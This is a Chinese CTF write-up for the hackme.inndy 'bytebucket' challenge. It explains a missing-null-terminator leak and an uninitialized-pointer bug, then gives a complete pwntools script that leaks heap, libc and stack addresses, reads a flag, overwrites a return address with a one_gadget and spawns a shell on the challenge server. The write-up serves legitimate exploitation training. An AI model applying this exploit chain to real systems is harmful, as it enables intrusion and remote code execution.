hackme inndy bytebucket題目

題目鏈接:https://hackme.inndy.tw/scoreboard/ (隨便輸個(gè)名字登錄即可看到題目列表)

下載bytebucket文件,checksec下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

程序功能

基本功能是增刪改查bucket,一個(gè)bucket對(duì)應(yīng)多個(gè)slot。bucket結(jié)構(gòu)體:

0x8字節(jié)      : 下一個(gè)bucket的地址
0x8字節(jié)      : slot_count
0x10字節(jié)     : bucket_name
0x8 * n字節(jié)  : n個(gè)slot地址

有下面幾個(gè)操作:

1. Make bucket  插入一個(gè)bucket到buckets鏈中,給該bucket填充slot。這條bucktes鏈的鏈頭地址存在0x203148處(g_bucket_head),在0x203140處存儲(chǔ)當(dāng)前指向的bucket(g_bucket_current)。
2. List bucket
3. Find bucket  通過(guò)bucket_name找到bucket,并用g_bucket_current指向該bucket
4. Next bucket  
5. Drop bucket
6. Open bucket  打開(kāi)g_bucket_current指向的bucket,可打印、編輯、刪除slot,重命名bucket
7. Sort bucket
8. Exit bucket

程序開(kāi)始新建了兩個(gè)bucket:

--- List of Buckets ---
Bucket[1]->name = "/root/locked";   // 這個(gè)bucket有個(gè)slot即第一個(gè)flag,第二個(gè)flag通過(guò)需shell來(lái)獲取
Bucket[2]->name = "/home/ctf/flag";

漏洞點(diǎn)

  1. 在讀取用戶(hù)輸入的字符串時(shí),可以讓其不在末尾拼接\x00(sub_EA8函數(shù)和sub_CBA函數(shù)),導(dǎo)致可以通過(guò)printf泄露出heap地址。如:輸入0x10長(zhǎng)度的bucket_name再List bucket輸出可泄露堆地址;輸入0x100長(zhǎng)的字符可打印出g_bucket_current的值, 即泄露堆地址。
  2. make bucket操作:新建的bucket內(nèi)存,并不清零,而當(dāng)用戶(hù)輸入的slot大小為0時(shí),其也不把slot地址置0,也就是如果在這個(gè)slot處我們先放入一個(gè)地址值,我們就可以通過(guò)操作這個(gè)slot來(lái)讀寫(xiě)這個(gè)地址指向的內(nèi)存??梢岳闷湫孤秎ibc地址,泄露棧地址,達(dá)到UAF,覆蓋某個(gè)bucket的下一個(gè)bucket的地址等。

pwn腳本

# -*-coding:utf-8-*-
from pwn import *
import pdb

# context.log_level = "debug"

def make_bucket(p, bucket_name, slot_datas):
    p.recvuntil("What to do >>")
    p.sendline("1")
    p.recvuntil("Size of bucket >>")
    p.sendline(str(len(slot_datas)))  # slot_count
    p.recvuntil("Name of bucket >>")
    p.sendline(bucket_name)
    
    for i in xrange(0, len(slot_datas)):
        p.recvuntil("Size of content >>")
        p.sendline(str(len(slot_datas[i])))
        if len(slot_datas[i]) > 0:
            p.recvuntil("Content of slot >>")
            p.send(slot_datas[i])


def find_bucket(p, bucket_name):
    p.recvuntil("What to do >>")
    p.sendline("3")
    p.recvuntil("Bucket name to find >>")
    p.sendline(bucket_name)


def drop_bucket(p):
    p.recvuntil("What to do >>")
    p.sendline("5")

## run using my libc.so
# env = {"FLAG1": "flag{flag1}"}
# p = process("./bytebucket2", env=env)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

## 
# env = {"FLAG1": "flag{flag1}", "LD_PRELOAD" : "/root/pwnfile/inndy_libc-2.23.so.x86_64"}
# p = process("./bytebucket2", env=env)
p = remote("hackme.inndy.tw", 7722)
libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")


# Step1: leak heap addr
make_bucket(p, "PPP", ['pppp'])  # 增加棧地址,避免要打印出的棧地址為0xXXXXXXXX00YY,打印該地址時(shí)會(huì)\x00截?cái)啵瑥亩惠敵?xYY
make_bucket(p, "QQQ", ['qqqq'])
find_bucket(p, "A" * 0x100)  # 會(huì)輸入0x100個(gè)字符到0x203040,printf打印0x203040的值時(shí)就會(huì)打印出跟在它后面的0x203140處的值,即g_bucket_current的值
p.recvuntil("A" * 0x100)
addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00"))
log.success("addr_heap: " + hex(addr_heap))
addr_flag1 = addr_heap - 0x100

# Step2: get flag1
payload = [p64(addr_flag1) * 0x30]  # 先在堆上布置flag1的地址
make_bucket(p, "AAA", payload)
drop_bucket(p)

make_bucket(p, "BBB", ["bbbb"])
make_bucket(p, "CCC", [""])  # let size of slot content be zero


p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")  # 打印CCC這個(gè)bucket的slot,該slot就是flag1的地址
p.recvuntil("Row[0]:")
flag1 = p.recvuntil("+---", drop=True)
log.success("flag1: " + flag1)
p.recvuntil("What to do >>")
p.sendline("5")


# Step3: leak libc addr
addr_free_chunk = addr_heap + 0x150
payload = [p64(addr_free_chunk) * 0x30]
make_bucket(p, "DDD", payload)
make_bucket(p, "EEE", ["eeee"])  # near top chunk

find_bucket(p, "DDD")
drop_bucket(p)
make_bucket(p, "FFF", ["ffff"])
make_bucket(p, "GGG", [""])  # let size of slot content be zero


p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")  # 打印CCC這個(gè)bucket的slot,該slot值指向一個(gè)unsorted bin chunk,打印該slot就泄露出unsorted bin地址,再計(jì)算出libc基址
addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
addr_libc = addr_unsorted_bin - 0x3c3b78 # fix it. In my libc: 0x3c4b78
log.success("addr_libc: " + hex(addr_libc))
p.recvuntil("What to do >>")
p.sendline("5")

# at this moment, we have a unsorted bin chunk(size: 0x140)

# Step4: leak stack addr by environ
addr_environ = addr_libc + libc.symbols["environ"]
addr_system = addr_libc + libc.symbols["system"]

make_bucket(p, "HHH", [p64(addr_environ) * 0x20])
drop_bucket(p)
make_bucket(p, "III", ["iiii"])
make_bucket(p, "JJJ", [""])  # let size of slot content be zero

p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")
addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_stack: " + hex(addr_stack))
p.recvuntil("What to do >>")
p.sendline("5")

# at this moment, we have a unsorted bin chunk(size: 0xc0)

# Step 5: modify ret to one_gadget
addr_ret = addr_stack - 0xf0
# 該one_gadget需滿(mǎn)足[rsp+0x70] == NULL
addr_one_gadget = addr_libc + 0xf0897 # fix it. In my libc: 0xf1147
make_bucket(p, "KKK", ["k"] * 4)  # consume the unsorted bin chunk

make_bucket(p, "LLL", [p64(addr_ret) * 0x30])
make_bucket(p, "MMM", ["mmmm"])  # near top chunk

find_bucket(p, "LLL")
drop_bucket(p)

make_bucket(p, "NNN", ["nnnn"])
make_bucket(p, "OOO", [""])  # let size of slot content be zero

p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("2")  # edit data
p.recvuntil("Which line of data >>")
p.sendline("0")
p.recvuntil("Size of new content >>")
p.sendline("5")
p.recvuntil("New content >>")
p.send(p64(addr_one_gadget)[:5])
p.recvuntil("What to do >>")
p.sendline("5")


# Step 6: exit to execute one_gadget
p.recvuntil("What to do >>")
p.sendline("8")

p.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容